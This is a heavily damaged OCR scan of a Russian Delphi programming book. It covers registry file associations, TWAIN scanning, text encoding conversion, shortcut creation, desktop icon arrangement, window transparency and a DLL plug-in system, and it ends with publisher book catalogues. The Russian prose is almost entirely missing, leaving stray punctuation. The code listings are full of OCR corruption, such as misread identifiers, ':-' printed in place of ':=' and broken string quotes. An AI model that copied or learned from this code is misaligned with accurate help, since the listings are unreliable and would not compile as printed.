, Name FileDescriptionLabei;
, , Name OpenWithLabei;
Timage. , .
. 6.I5 , . ,
.
7
JEdTi
:
PaiamLabel
DescriptionLabel
. FileDescriptionLabel
; OpenWithLabel
1
.''.'.'.''.
. 6.15.
www.kodges.ru
310
,
, uses Registry.
. Onclick
( 6.5).
var
Reg: TRegistry;
IconFileName, Iconlndex: String;
PC: ArrayfO..255] of Char;
i: Integer;
ExtIcon:TIcon;
begin
Extlcon:=TIcon.Create;
Reg := TRegistry.Create;
try
with Reg do
begin
RootKey := HKEY_CLASSES_ROOT;
OpenKey(Edit1.Text, True);
ExtDescription := ReadString('');
OpenKey('\' + ExtDescription, True);
FileDescription := ReadString('');
OpenKey('DefaultIcon1, True);
IconFileName : = ReadStringf'');
SplitStr(',', IconFileName, Iconlndex);
StrPCopy(PC, IconFileName);
Extlcon.Handle :- ExtractlconfO, PC, StrToInt(Iconlndex));
Imagel.Picture.Assign(Extlcon);
OpenKey('\' + ExtDescription + '\Shell\Open\Command', True);
OpenWith := ReadString('');
i := Pos( "" , OpenWith);
if i = 1 then
begin
OpenWith := Copy(OpenWith, 2, Length(OpenWith) - 1);
i := Pos("", OpenWith);
www.kodges.ru
311
. G j Word,Basic.8
t.
.+
+,
-
Word.Ba5ic,9
Word.Docament
Word.Document6
Word,Documents
AppRegistry
|_J CL5ID
C J Defaultlcon
i J DocObject
,+ L J HTML Handler
CJ Insertable
!_3 protocol
+ -_J shell
Word.Picture
L_J Word.Picture.6
L_j Word.Picture.S
LJ Word.RTF,8
C_l Word,Template,
'
.^() 1
MEditFlags
LJ
LJ
^
REG_S?
REG BINARY
'
Microsoft Word
00000100
i
:
^;onep\HKEV_CLA5SES_ROOT\Word Document.8
. 6.16. Word.Document.8
HKEY_CLASSES_
ROOT.
, .doc. .
, .
, doc
www.kodges.ru
312
Word.Document, 8. , HKEY_CLASSES_ROOT\Word.Document.8 ( 8
].
. Defauiticon , , .
Extract icon.
:
;
, ;
.
.
Exticon, image 1.
\shell\Open\command , .
7'
Word.Document.E
: Microsoft Woid
: F:\Piogim FilesS Micros oft Qffiee\0ffice\WINWORD.EXE
.'
. 6.17.
. 6.17 .doc. ,
. , , .
, , :
www.kodges.ru
313
ExtStr;3tring;
begin
ExtStr:=Editl.Text;
if ExtStr[l]<>'.' then
Insert('.', ExtStr, 1);
Editl.Text:=ExtStrj
end;
, :
, .
- \\ 6\1
.
6.9.2.
,
BMP-. , - .
, .
, .
Timage ( )
. ,
WindowsState wsMaximized.
. 6.18 .
. 6 . 1 8 .
www.kodges.ru
314
:
var
Reg: TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CLASSES__ROOT;
Reg.OpenKeyC.BMP1 , True);
Reg.WriteStringC ', 'BMPfile') ;
Reg.CloseKey;
Reg.CreateKeyf'BMP' +'file_cyd') ;
Reg.OpenKeyf'BMPfile\DefaultIcon', True);
Reg.WriteString('', Application.ExeName + ',0');
Reg.CloseKey;
Reg.OpenKey {'BMPfile\shell\open\cotnmand', True);
Reg.WriteStringC', Application. ExeName + ' "%1"');
Reg.CloseKey;
Reg.Free;
end;
, , . .
BMPfile.
, ,
.
BMPfile.
Defauiticon , . . ,
BMP- () .
. 6.19 BMP-. , .
.
,
BMPfiie\sheii\open\command , .
.
,
uses Registry, . . , BMP-, Paint
- , .
www.kodges.ru
315
to Buttons
Q - ijiV,
;- '
l.bmp
,'.-|
J )
* -
animatn.bmp
a r t o w l L b m p
[]
abort.btnp
alarm,bmp
alatmrng.bmp
artowlr.bmp
arrowlu.bmp arrowlul.bmp
. 6.19. BMP
, ,
BMP-, ,
. , Timage.
.
.
, onshow
:
procedure TForml.FormShow(Sender: TObject);
stnString;
i:Integer;
begin
if (ParamCount > 0) then
begin
Str:=ParamStr(l);
for i:=2 to ParamCount do
begin
Str:=Str+' '+ParamStr(i);
end;
Imagei.Picture.LoadFromFile(Str);
end;
end;
www.kodges.ru
316
ParamCount.
, .
, . , .
,
Paramstr (1). ,
, .
:
Str:=ParamStr(l);
for i:=2 to ParamCount do
begin
Str:=Str+'
'+ParamStr(i);
end;
.
, , Imagel. Picture. LoadFromFile (Str).
- \\ 6\Image Viewer
.
6.10.
,
. .
,
.
, .
Delphi .
Headers/Scanner.
eztwain.obj MultiTWAIN.pas.
.
TWAIN.
, .
, , Windows, twain
twain_32. , .
www.kodges.ru
317
dll-, ,
- . , , ,
,
.
/
! ;
. 6.20.
, Delphi . . uses
MuitiTwain,
.
:
( );
.
,
TscroiiBox, .
Timage,
. AutoSize true. ,
TscroiiBox, .
private ,
:
private
{ Private declarations )
hdib, testdib: hbitmap;
w,h,n: integer;
www.kodges.ru
318
OnCreate :
procedure TScanForm.ForraCreate(Sender: TObject);
begin
hDib := 0;
testDib := 0;
w :- 0;
h := 0;
end;
. :
procedure TScanForm.SetScanButtonClick(Sender: TObject);
begin
TWAIN_SelectlmageSource(0) ;
end;
, . TWAIN-
TWAiN_SeiectimageSource,
.
:
procedure TScanForm.ScanButtonClick(Sender: TObject);
begin
Image1.Picture.Bitmap:=nil;
hdib := TWAIN_AcquireNative(0, 0);
n := TWAIN_GetNumDibs;
if n >= 1 then
begin
TestDib := TWAINjGetDib(0);
Iraagel.Width:=TWAIN_DibWidth(TestDib);
Image!.Height:=TWAIN_DibHeight(TestDib) ;
CopyDiblntoImage(TestDib, Image1);
TWAIN_FreeNative(TestDib);
TestDib := 0;
end;
if n - 2 then
begin
TestDib := TWAIN_GetDib(1);
Imagel.Width:=TWAIN_DibWidth(TestDib);
Image1.Height:=TWAIN DibHeight(TestDib);
www.kodges.ru
319
CopyDiblntoImage(TestDib, Iraagel);
TWAIN_FreeNative(TestDib);
TestDib := 0;
end;
end;
imagel.
imagel. picture.Bitmap n i l .
TWAIN- TWAiN_AcquireNative.
.
Mustek 1200 ED
. 6.21.
.
=. Mustek 1200 ED
,
. TWAIN-
TWAiN_GetNumDibs. .
,
, -
www.kodges.ru
320
. ,
. , .
:
TestDib := TWAIN__GetDib ( );
ImageI.Width:=TWAIN_DibWidth(TestDib) ;
Imagel.Height:=TWAIN_DibHeight(TestDib);
CopyDiblntoImage(TestDib, Imagel);
TWAIN_FreeNative(TestDib);
TestDib := 0;
TWAiNGetDib. ,
.
hbitmap. imagel.
imagel
. TWAiNDibWidth. TestDib, .
TWAIN D i b H e i g h t .
. 6 . 2 2 .
www.kodges.ru
321
CopyDiblntoImage.
, image 1.
.
TWAiN_FreeNative TWAIN-, .
- \\ 6\Scaner
.
www.kodges.ru
www.kodges.ru
, , .
, "".
, Windows.
Windows DOS . . , , .
, , , . .
7.1.
,
Windows- DOS
.
, -
, .
, . 7.1.
.
,
Windows- DOS, :
procedure TForml.CodeButtonClick(Sender: TObject) ;
var
s:array [0..255] of char;
www.kodges.ru
324
begin
CharToOem(PChar(WindowsEdit.Text), s)
DOSEdit.Text:=s;
end;
:
WindowsEdit
DOS- JDDSEdT
16-
. 7 . 1 .
s . .
WinAPl- CharToOem.
.
, ,
DOS-.
, .
pchar,
,
, pchar, . CharToOem,
( s) DOSEdit.
? CharToOem
pchar (DOSEdit. Text)? , . ,
, PChar. ,
.
, .
:
procedure TForml.CodeButtonlClick(Sender: TObject) ;
www.kodges.ru
325
var
s:array [0..255] of char;
begin
OemToChar(PChar(DOSEdit.Text) , s);
WindowsEdit.Text:=s;
end;
OemToChar, DOS- Windows.
, .
, ,
Windows-.
, .
,
.
:
procedure TForml.HexToDecButtonClick(Sender: TObject);
var
index:Integer;
begin
index:=StrToInt('$'+HEXEdit.Text);
DECEdit.Text:=IntToStr{index);
end;
, , ,
Delphi $.
, strToint. ,
.
,
intTostr, index .
, index , ? Delphi , index , .
.
, . Delphi API Windows
www.kodges.ru
326
. , IntToHex.
IntToHex , intToStr. , ,
a IntToHex .
:
procedure TForml.DecToHexButtonClick(Sender: TObject);
var
index:Integer;
begin
index:=StrToInt(DECEdit2.Text);
HEXEdit2.Text:=IntToHex(index,
2);
end;
. 7.2 . , .
, ()
,
.
7' Forrni
:
Windows
Hello
<"
DOS
Helta
:
16- |
10- (12
10- 12
16- 10
. 7 . 2 .
- \\ 7\Converter
.
7.2.
, . .
, ,
www.kodges.ru
327
, . ,
Delphi , ,
, .
.
. :
procedure TForml.ButtonlClick(Sender: TObject);
begin
Form2.Show;
end;
show, ,
. , , .
, ,
OnCreate. :
procedure TForm2.FormCreate(Sender: TObject);
begin
SetwindowLong(Handle, GWL_EXSTYLE,
GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_APPWINDQW);
end;
. WinAPI- setwindowLong,
. , , . .
, .
, . . .
. (
WinAPI,
SetwindowLong. :
GWL_STYLE .
WinAPI,
createWindow. ws_.
;
GWL_EXSTYLE . , . WinAPI,
CreatewindowEx. WS_EX_.
.
www.kodges.ru
328
, .
GetwindowLong. . :
GWL_EXSTYLE.
.
, . GWL_EXSTYLE, .
WS_EX_APPWINDOW, .
. . . 7.3
.
d\DeIph?
i \Proe
j ct$ 1
DWyBooksSX-codn
i g.
i/nserl
enMov
. 7.3.
- \\ 7\Chi Id Window
.
7.3.
, / . -
. 3,
, , ,
www.kodges.ru
329
. 6. .
. ,
.
, Delphi. uses
: shiobj, ActiveX comobj. :
"";
;
.
. 7.4. ,
, ,
.
7
""
. 7.4.
onclick ""
( 7.1).
www.kodges.ru
330
WorkTable:=StrPas(C)+'\My Group';
end;
if not DirectoryExists(WorkTable) then
MkDir(WorkTable);
if FileExists(WorkTable+'\'+ExtractFileName(Application.ExeName)) then
DeleteFile(WorkTable+'\'+ExtractFileName(Application.ExeName));
CreateShotCut(Application.ExeName, WorkTable + '\'+
ExtractFileNarne (Application.ExeName) , ' ') ;
end;
, . ,
, Windows 9x : C:\WINDOWS\DiaBHoe \.
Windows 2000/XP , Documents and Settings. ,
( , ), .
, ,
. .
, ,
.
, ,
, \ Group. My Group . , , ?
: , MkDir:
if not DirectoryExists(WorkTable}
then
MkDir(WorkTable);
, .
, ,
, .
, CreateShotCut. .
, .
www.kodges.ru
331
, .
, .
, Delphi ,
createShotCut. . p r i v a t e CreateShotCut :
private
{ Private declarations }
procedure CreateShotCut(SourceFile, ShortCutName,
SourceParams: String);
<Ctrl>+<Shift>+<C> .
( 7.2).
7.2.
procedure TForml.CreateShotCut(SourceFile, ShortCutName,
SourceParams: String);
var
IUnk: IUnknown;
ShellLink: IShellLink;
ShellFile: IPersistFile;
tmpShortCutName: string;
WideStr: WideString;
i: Integer;
begin
IUnk := CreateComObject(CLSID_ShellLink);
ShellLink := IUnk as IShellLink;
ShellFile
:= IUnk as IPersistFile;
ShellLink.SetPath(PChar(SourceFile));
ShellLink.SetArguments(PChar(SourceParams));
ShellLink.SetWorkingDirectory(PChar{ExtractFilePath(SourceFile)));
ShortCutName := ChangeFileExt(ShortCutName,'.Ink");
if fileexists(ShortCutName) then
begin
ShortCutName := copy(ShortCutName,1,length(ShortCutName)-4);
1 2 978
www.kodges.ru
332
i := 1;
repeat
tmpShortCutName := ShortCutName +'(' + inttostr(i)+ ').lnk';
inc(i);
until not fileexists(tmpShortCutName);
WideStr := tmpShortCutName;
end
else
WideStr := ShortCutName;
ShellFile.SavetPWChar(WideStr),False);
end;
iunk -
API- createcomobject.
sheilLink () s h e i l F i i e (). SheilLink:
Setpath ;
setArguments , ;
setworkingDirectory .
- :
Getoescription ;
setshowcmd . , API- Showwindow, SW_HIDE ( ), SWMAXIMIZE (
), SW_MINIMIZE (
) .
ShortCutName Ink.
. ,
, ,
. ,
.
.
,
. , .
www.kodges.ru
333
, , ( 7.3).
7.3. v
procedure TForml.Button2Click(Sender: TObject);
var
WorkTable:String;
P:PItemIDList;
C:array [0..1000] of char;
begin
if SHGetSpecialFolderLocation(Handle,CSIDL_DESKTOP,p)=NOERROR then
begin
SHGetPathFromIDList(P,C) ;
WorkTable:=StrPas(C) ;
end;
if FileExiststWorkTable+'N'+ExtractFileName(Application.ExeName)) then
DeleteFile(WorkTable+'\'+ExtractFileName(Application.ExeName));
CreateShotCut(Application.ExeName, WorkTable + 'V +
ExtractFileName(Application.ExeName),
'');
end;
,
. ,
SHGetSpeciaiFolderLocation
( CSIDL_DESKTOP).
.
( 7.4).
var
WorkTable:String;
P:PItemlDList;
C:array [0..1000] of char;
i:Integer;
begin
if SHGetSpeciaiFolderLocation (Handle, CSIDL__DESKTOP,p)=NOERROR then
www.kodges.ru
334
begin
SHGetPathFromlDList(P,C);
WorkTable:=StrPas(C);
end;
for i:=0 to 20 do
CreateShotCut(Application.ExeName, WorkTable + ' V
ExtractFileName(Application.ExeName), ' ' ) ;
end;
. 7 . 5 .
. (
),
CreateShotCut .
, 20 . . 7.5 .
- \\ 7\ .
www.kodges.ru
335
7.4.
, .
:
;
.
:
procedure TForml.ButtonlClick(Sender: TObject);
var
DesktopHandle:Integer;
begin
DesktopHandle := FindWindow('ProgMan', nil);
DesktopHandle := GetWindow(DesktopHandle, GW_CHILD) ;
DesktopHandle := GetWindow(DesktopHandle, GW_CHILD);
SendMessage(DesktopHandle, LVM_ARRANGE, LVA_ALIGNLEFT, 0 );
end;
ProgMan. ,
Windows, ( ), Program Manager.
Getwindow. .
sysListview32.
.
,
ListView, SendMessage.
:
LVM_ARRANGE ;
LVA_ALIGNLEFT .
LVAALIGNTOP, TO
.
. onclick :
procedure TForml.Button3Click(Sender: TObject);
var
DesktopHandle:Integer;
begin
DesktopHandle := FindWindow('ProgMan1, nil);
www.kodges.ru
336
www.kodges.ru
337
. 7.6.
Windows.
Windows XP,
, . Windows. !
- \\ 7\Desktop Icon
.
7.5.
Windows 2000
. ,
2000/ Windows 95/98. , .
, AlphaBiend true,
AiphaBiendVaiue. 0 255.
0, . 255, . 127 . ,
0
255, .
. 7.7 .
www.kodges.ru
338
, -,
,
. , , .
, ,
.
. 7.7.
. , . . Windows
.
, . . 7.8
( \\ 7\ Transparency\Screen2
-) Microsoft Word.
( ) Cameron Diaz. MS Word . : " ?"
, Photoshop. .
www.kodges.ru
339
,
, .
. 7.8.
.
. :
procedure TForml.ButtonlClick(Sender: TObject);
var
old: longint;
hwin:HWND;
begin
hwin:=FindWindow(nil, '1 - Microsoft Word');
if hwin<>0 then
begin
old:=GetWindowLongA(hwin,GWL_EX.STYLE) ;
SetWindowLongA(hwin,GWL_EXSTYLE,old or $80000);
www.kodges.ru
340
, .
Microsoft Word.
API- Findwindow. :
;
.
n i l . , ( ), .
: ,
Findwindow, , , ,
. ,
:
old:=GetWindowLongA(hwin,GWL_EXSTYLE);
SetWindowLongA(hwin,GWL_EXSTYLE,old or $80000);
SetLayeredWindowAttributes(hwin, 0, 150, $2);
.
GetwindowLongA. ,
$80000. . , AiphaBlend true.
.
SetLayeredWindowAttributes. . . ,
0 255. , 150, ,
(255 * ) DIV ,
0 100. , , , .
!!! Delphi
SetLayeredWindowAttributes,
TO
implementation var
:
function SetLayeredWindowAttributes(hwnd: longint; crey: byte;
bAlpha: byte; dwFlags: longint): longint; stdcall;
external 'USER32.DLL';
www.kodges.ru
341
, Delphi 5,
, Windows .
- \\ 7\Transparency
.
7.6. plug-in
(plug-ins). ,
.
.
.
, , plug-in
. plug-ins (dll), . dll. ,
, .
7.6.1.
plug-in
plug-in
, . . (Application).
MainMenu Memoi. :
Plug-ins. ,
, .
Memoi ,
. . 7.9.
type :
type
TIPluginDemo = class
public
function GetApplication: TApplication; virtual; stdcall;
www.kodges.ru
342
7
procedure AddMenuItem(MenuItemCapt: String;
Proc: TNotifyEvent); virtual; stdcall;
. 7.9. Memo
,
. .
GetAppiication
.
, ,
. plug-ins,
- ,
;
AddMenuitem ,
;
Additem , , Memol.
.
GetAppiication:
function TIPluginDemo.GetAppiication: TApplication;
begin
Result:=Application;
end;
.
, .
www.kodges.ru
343
AddMenuItem:
procedure TIPluginDemo.AddMenuItem(MenuItemCapt: String;
Proc: TNotifyEvent);
var
Newltem: TMenuItem;
begin
Newltem:=TMenuItern.Create(PluginDemoForm);
Newltem.Caption:=MenuItemCapt;
Newltem.OnClick:=Proc;
PluginDemoForm.Utilitiesl.Add(Newltem);
end;
Plug-ins . .
Onclick ,
. ,
.
Addltem:
procedure TIPluginDemo.AddItem(Item: String);
begin
PluginDemoForm.Memol.Lines.Add(Item);
end;
,
Memoi.
- ,
.
,
.
implementation :
type
TInitPlugin = procedure(PlugClass: TIPluginDemo);
const
PluglnitProc: PChar = 'InitPlugin';
type TInitPlugin .
plug-in.
,
, ,
.
www.kodges.ru
344
const initpiugin.
(
type) .
, ,
, private:
private
{ Private declarations }
PInterface: TIPluginDemo;
ilrTList;
.
. ,
PInterface, .
.
dll-. onCreate
:
procedure TPluginDemoForm.FormCreate(Sender: TObject};
var
Found, Attr: Integer;
SearchRec: TSearchRec;
PluginHandle: THandle;
InitPlugin: TInitPlugin;
begin
il:=TList.Create;
PlugDir := ExtractFilePath (Application. ExeName) + 'PLUGINSV;
Attr := faReadOnly or faHidden or faSysFile or faArchive;
Found := FindFirst(PlugDir+p*.DLL', Attr, SearchRec);
while Found = 0 do
begin
try
PluginHandle:=LoadLibrary(PChar(PlugDir+SearchRec.Name));
@lnitPlugin:=GetProcAddress(PluginHandle, PluglnitProc);
if Longint(@InitPlugin)<>0 then
begin
try
PInterface:^TIPluginDemo.Create;
InitPlugin(PInterface);
www.kodges.ru
345
il.Add(Pinterface);
except
raise Exception.Create(' ! ' ) ;
end
end
else
FreeLibrary(PluginHandle);
except
raise Exception.Create(' '+SearchRec.Name);
end;
Found := FindNext(SearchRec);
end;
FindClose(SearchRec);
end;
i l .
plugDir , .
FindFirst. , LoadLibrary.
GetProcAddress. :
;
, . GetProcAddress, ' InitPlugin 1 .
GetProcAddress ,
, .
TiPiuginDemo ,
.
InitPlugin , . Pinterface il .
, , dll-, plug-in-
. API- FreeLibrary.
onDestroy :
procedure TPluginDemoForm.FormDestroy(Sender: TObject);
begin
il.Free;
end;
www.kodges.ru
346
, , plug-in .
, TiPiuginDemo.
7.6.2. plug-in
. plug-in
, .
dll-. Delphi File New,
Other.
DLL Wizard .
7 New Items
IntraWeb j WebServicei | Business ' WebSnap j Web Documents
New ActiveX I MultRrer ) PluginsDemo 1 Foims 1 Dialogs I Piojects
Data Modue
l
,-j.
i -'-.:
Frame
Pacfcage
Cancel
Help
. 7.10.
:
library PluginsDemo;
uses
Dialogs,
SysUtils,
Unitl in 'Unitl.pas' (Forral);
procedure initPlugin(PlugClass: TPluginlnterface)
begin
www.kodges.ru
347
Demolnterf:^PlugClass;
Forml:=TForml.Create(nil);
PlugClass.AddMenuItemf' Plug-in',Forml.ShowMe);
PlugClass.AddMenuItem(' ', Forml.ButtonlClick);
PlugClass.AddMenuItem(' ',Forml.Button2Click);
end;
exports
InitPlugin;
begin
end.
m i t p i u g i n . , .
Demointerface.
, . Formi, .
AddMenuitem PlugClass.
-, .
, , , .
export. !!!
.
File New, Form.
:
;
;
.
. 7.11.
, .
,
plug-in .
type :
TPluginlnterface = class
public
www.kodges.ru
348
stdcall; abstract;
stdcall; abstract;
end;
plug-in
QfalfSc]
. 7 . 1 1 . ,
, . ,
abstract. ,
. , ,
, .
var Demointerface,
. m i t p i u g i n ,
:
Forml: TForml;
Demointerface: TPluginlnterface;
Onclick
. :
procedure TForml-ButtonlClick(Sender: TObject);
begin
ShowMessage('!');
end;
"!".
www.kodges.ru
349
:
procedure TForml.Button2Click(Sender: TObject);
begin
1
DemoInterface.Addltem(' );
end;
Additem
Memo .
:
procedure TForml.Button3Click(Sender; TObject);
begin
Hide;
end;
, Hide, close.
, .
close, , .
.
, public ,
:
public
procedure ShowMeCSender: TObject);
procedure HideMe(Sender: TObject);
:
procedure TForml.ShowMe(Sender: TObject);
begin
Show;
end;
procedure TForml.HideMe(Sender: TObject);
begin
hide();
end;
dll- Plugins . ,
Plug-ins, , (. 7.12).
, . , , plug-in .
www.kodges.ru
350
/ Plug-in
Plug-ins
Memol
HI
Plug-in
. 7.12. ,
- \\ 7\PIug-ins .
www.kodges.ru
"" "" .
http://www.delphi-jedi.org/ , Delphi .
http://www.delphibest.narod.ru/ , , .
http://www.iatp.kharkov.ua/sites/program/program/titul.htm
.
www.kodges.ru
www.kodges.ru
\Headers
,
Delphi
\Source
, . ,
\Sofl
Wr-online
,
.
,
, .
Header Convert , Delphi, ASPack
www.kodges.ru
www.softline.ru
119991 . ,
. , . 8
.: (095) 232-0023
e-mail: info@softline.ru
SoftLlne?
Microsoft
it , .. .
- .
SoftLine-direct
www,softline.ru.
SoftLine
.
, SoftLine?
Si (Microsoft, CA/Platinum, Rational, SilverRun,
Quest).
(Centura, Merant, Microsoft).
(PlanisWare, PlanView, Microsoft).
( Allaire, Borland, IBM, Microsoft, Allround Automation, ComponentOne, Crystal Decisions, Janus,
Sitraka, Stingray),
(Compaq, Fuji, Intel, MainSoft, Sun, Sybase, Tenberry).
IS (NuMega, Intuitive Systems, Segue).
(InstallShield, Wise Solutions).
M (Remedy, Royal Blue, CA, Network
Associates).
It (Adobe, Allen Communications, click2learn.com,
eHelp, Macromedia, Quest, Ulead).
SoftLine
SoftLine, . , (
), -
RAD - . - ,
, Microsoft Developer Network, Sun Developer Essentials - SoftLine Support Subscription, - .
SoftLine .
B o r l a n d
'Sun.
COMPAQ.
macromeda
i-
itIraS
"*8
<allaire>
5GA
InstallShield.
Component
SYBASE"
www.kodges.ru
1900
-
www.computerbook.ru
-MCO
IISOHn
IternetExpo
leii
>
> -
>
>
^
20
V
'
2}
f^nepenoft
! - - > >
-
: 1965
11
69
TCP/IP
TCP/IP
"-"
i ( ., 4) 31
>2003 . :
* , -
10%
i
Delphi
-
. 11
www.kodges.ru
2 0 0 0
,
"-"
: (812) 541-8551
: (812) 541-8461
: 199397, -, / 194
e-mail: trade@bhv.spb.su
-
www.kodges.ru
Microsoft
O u t l o o
www.kodges.ru
"-"
:
" "
. . MS Windows XP: Home Edition Professional
. . Windows 2000 Professional.
. . Microsoft Windows 2000 Server.
. . Windows 2000
. . Microsoft Windows 2000 Server Professional.
P. Macromedia ColdFusion
. HTML 3.2 ( -)
. Java ( -)
. -
" "; "MS Office XP ", "MS Access 2002",
"MS Word 2002", "MS Excel 2002"
. Microsoft Word 2002
., A. Delphi 6
. MS Excel 2002
. .
., . PC,
4-
. MS SQL Server 2000
, , HTML 4.0
., . Microsoft Access 2000
., . Microsoft Access 2002
., A. Microsoft Office 2000
., A. Microsoft Office XP
., . Java 2
. Web-
P. Word 97
., . XML
.
. Adobe Illustrator 9.0
. Adobe Photoshop 6.0
. CorelDRAW 9
. Macromedia FreeHand 9
. WAP:
. PC ( )
P. Python ( -)
. ., A. A. Adobe PageMaker 7.0
. ,, A. A. Adobe InDesign
. ., A. A. CorelDRAW 9:
. ., A. A. CorelDRAW 10:
. Microsoft SQL Server 7.0
848 .
700 .
960 ,
576 .
1056 .
672 .
1040 .
1104 .
32 .
992
1152 .
1072
1008 .
1024 .
1280 .
672 .
1088 .
1040 .
728 .
928 .
1072 .
1024 .
1120 .
736 .
608 .
832 .
576 .
432 .
432 .
1248 .
768 .
784 .
704 .
1136 .
1136 .
720 .
www.kodges.ru
672 .
656 .
704 .
""
CD-ROM " MS Windows NT Server 4.0"
" Windows NT Server 4"
Microsoft Press. .
2- ( -)
Microsoft Press. Visual Basic 6.0
Microsoft Press. MS Windows NT Server 4.0
. Dynamic HTML ( -)
.
. Linux
. -: , ,
. 8 Windows
. Windows 98 ( )
. .
. XSLT
. Internet 2000
. Novell GroupWise 5.5:
A, Microsoft Excel 2000:
A. Excel, VBA, Internet
., . Web- Java JavaScript
. Windows ( )
., . Delphi
. . Delphi 5 ( )
. JavaScript Web-
. . MS Excel
.
Excel 97/2000 ( )
. -
. Shareware:
. .
. Borland C++ 5
. Web-
. DirectX. Delphi ( -)
. Open GL Delphi ( )
.
Java
. 3ds max 4:
. MS Office Project
. . Motorola
. . , ,
.
368 .
992 .
752
496 .
384 .
496 .
256 .
250 ,
496 .
320 .
432 .
448 .
480 .
576 .
816 .
1040 .
384 .
656 .
784 .
880 .
304 .
416 .
480 .
320 .
320 .
976 .
592 .
416 .
352 .
336 .
448 ,
400 .
560 .
304 .
624 .
www.kodges.ru
A. Maple 6.
., . "" PC ( )
., . Visual C++ MFC,
2- ( )
. Web- MS Office 2000
., .
., . Microsoft Access 2000;
. . Microsoft Office 2000:
. Access 97 ( -)
. .
., . IP-
. . -
Delphi ( )
. Visual LISP AutoCAD
. ActiveX Delphi
. Adobe InDesign:
. Windows Scripting Host
. 3D Studio MAX 3.0
( -)
,
., . PC: , ,
2-
. .
. SVGA- IBM
. Photoshop Plug-Ins
. MS SQL Server 2000:
. SQL Server 7.0:
.
Visual C++ ( )
. ATL 3.0 { )
., . ADO Delphi ( -)
. , , Web Linux
A. Windows 2000 Active Directory
. Java ( -)
. Web-
. -
. Web-. XML
. C++
., .
. , , ( -)
528 .
720 .
1040 .
320 .
560 .
832 .
680 .
656 .
512 .
512 .
432 .
576 .
320 .
544 .
320 .
352 .
512 .
336 .
352 .
432 .
464 .
368 .
370 .
256 .
928 .
816 .
416 .
400 .
400 .
224 .
224 .
304 .
416 .
464 .
" BHV"
. Internet , 2-
A. Adobe Photoshop 5.0 ( )
752 .
448 .
www.kodges.ru
""
., . Visual Basic 6.0
.
. VBA
. .
. JavaScript
. Excel 2000 ( )
. Macromedia Dreamweaver 4
. Macromedia Flash 5
., . : , ,
( )
. Adobe Premiere 6.0
. MathCAD 2001
. Microsoft Internet Explorer 6.0
. 4
. Object Pascal
Delphi 6 ( )
. .
Turbo Pascal 7.0 Delphi, 2- ( )
. UML
., . Perl
., . Microsoft FrontPage 2002
., . Windows 2000 Professional
., . Windows Millennium
. 3D Studio MAX 4.0
. AutoCad 2000 Visual LISP,
2-
. AutoCAD 2002
. Kylix
. Visual C++ 6 ( )
. #
. WML WMLScript
. ., . . Adobe Photoshop 6
{ )
. ., , . CorelDRAW 10
. MFC ( )
. Java
. Microsoft Word 2002
. .
. HTML 4
. C++, 3- ( )
624 .
448 .
512 .
640 .
512 .
368 .
560 .
368 .
480 .
432
544
288
576
528
.
.
.
.
.
416 .
304 .
432 .
576 ,
528 .
464 .
370 .
672 .
608
416
960
576
240
608
.
.
.
.
.
.
640 .
640 .
464 .
624 .
272 .
288 .
512 .
" "
. PC
. Web-
. Web-
352 .
512 .
288 .
www.kodges.ru
.
., . PC
., . PC
., . PC. Cakewalk Pro Audio 9.
., . PC. Cakewalk.
""
., . .
., . PC
320 .
272 .
256 .
420 .
272 .
608 .
240 ,
" "
,
( -)
.
. ,
2-
. C/C++
. Turbo Pascal
.
. Unix
.
. .
. .
MOTOROLA
.
.
.
464 .
240 .
512 .
288
256
432
528
224
464
512
.
.
,
.
.
.
.
528 .
592 .
""
.
.
. ,
304 .
288 .
304 .
" "
. .
., A. Delphi.
. JavaScript.
. Microsoft Excel.
., . . Microsoft Access.
480 .
288 .
336 .
208 .
304 .
www.kodges.ru